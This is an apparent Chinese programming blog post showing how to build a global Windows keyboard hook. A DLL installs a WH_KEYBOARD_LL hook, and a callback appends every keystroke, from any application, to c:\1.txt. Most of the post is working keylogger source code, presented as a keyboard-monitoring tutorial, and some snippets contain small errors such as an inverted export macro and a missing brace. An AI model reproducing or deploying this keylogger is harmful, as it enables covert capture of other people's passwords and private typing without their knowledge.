使用windows挂钩监视键盘代码实现

编译环境VS2005

实现的功能很简单:

       对于键盘的每一个输入:保存到文件中

实现原理:

        安装全局键盘钩子

        通过函数指针设置回调函数(用于将字符保存在文件中)

 细化成以下几步

1 生成一个win32 dll工程(工程名为testdll,生成的dll为testdll.dll)

 主要用于导出两个函数 一个是用于设置键盘钩子 一个是用于设置回调函数(用于得知键盘消息后进行执行)

2 接下来生成一个windows工程 使用上一个工程生成的dll,设置键盘钩子以及键盘消息回调函数,然后进行消息循环。程序退出这循环终止,钩子也就释放了。

//1

#ifdef TEST_API
#define TEST_API  __declspec(dllexport)
#else
#define TEST_API __declspec(dllimport)
#endif
TEST_API BOOL setKeyBoardHook();

TEST_API BOOL clearAllHook();

typedef int (*FucOnKeyBoard)(long code, long scancode,long flags);

TEST_API void setHookFuncKeyBoard(FucOnKeyBoard ptFuc);

#undef TEST_API

TEST_API是宏开关 (在stdafx.h中定义这个宏)

//setKeyBoardHook函数实现

__declspec(dllexport) BOOL setKeyBoardHook()

{

 if (hookkeyboard!=NULL)
 {
  return TRUE;
 }
 
 hookkeyboard = SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,hInst,0);
 if(hookkeyboard!=NULL)
 { /* success */

  return TRUE;

 }
 return FALSE; // failed to set hook

}

 

// setHookFuncKeyBoard函数实现

__declspec(dllexport) void setHookFuncKeyBoard(FucOnKeyBoard ptFuc)

{

 g_ptfuckeyboard = ptFuc;//g_ptfuckeyboard为全局变量

KeyBoardProc函数

static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam)

{
 if(nCode>=0)
 {

  LPKBDLLHOOKSTRUCT pKeyBoardHook =(LPKBDLLHOOKSTRUCT)lparam;

  //如果截获到键盘消息就利用函数指针传递

  if(g_ptfuckeyboard)

  {

        g_ptfuckeyboard(pKeyBoardHook->vkCode,pKeyBoardHook->scanCode,pKeyBoardHook->flags);

  }

 }

 return CallNextHookEx(hookkeyboard,nCode,wparam,lparam);

}

//编译生成testdll.dll testdll.lib

//2

 导入dll 添加testdll.h头文件

并且添加#pragma comment(lib, "testdll.lib")来导入库文件

 定义键盘消息处理函数,

在初始化窗口之前调用两个函数

设置键盘钩子

设置回调函数

键盘回调函数的实现

int KeyboardRecord(long code,long scancode,long flags)

{

FILE* fp=NULL;
if((fp=fopen("c:\\1.txt","a"))==NULL)
{
 exit(1);
}

 static int i = 0;

if(i%2==0)
{
fprintf(fp,"%c",(char)code);//由于每个键有两个消息 按上和按下 所以会重复打印,因而我去两个中一个)

}
i++;

fclose(fp);
 return 0;

}

然后在win32工程向导中添加如下三句代码

//设置钩子

 BOOL bKeyboard;
 if((bKeyboard=setKeyBoardHook())==TRUE)
  setHookFuncKeyBoard(KeyboardRecord);

然后运行程序就可以监视键盘输入

键盘输入的值在c:\\1.txt中可以看到

测试代码如下:

http://download.youkuaiyun.com/detail/learniting/5261544

 

 

          

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值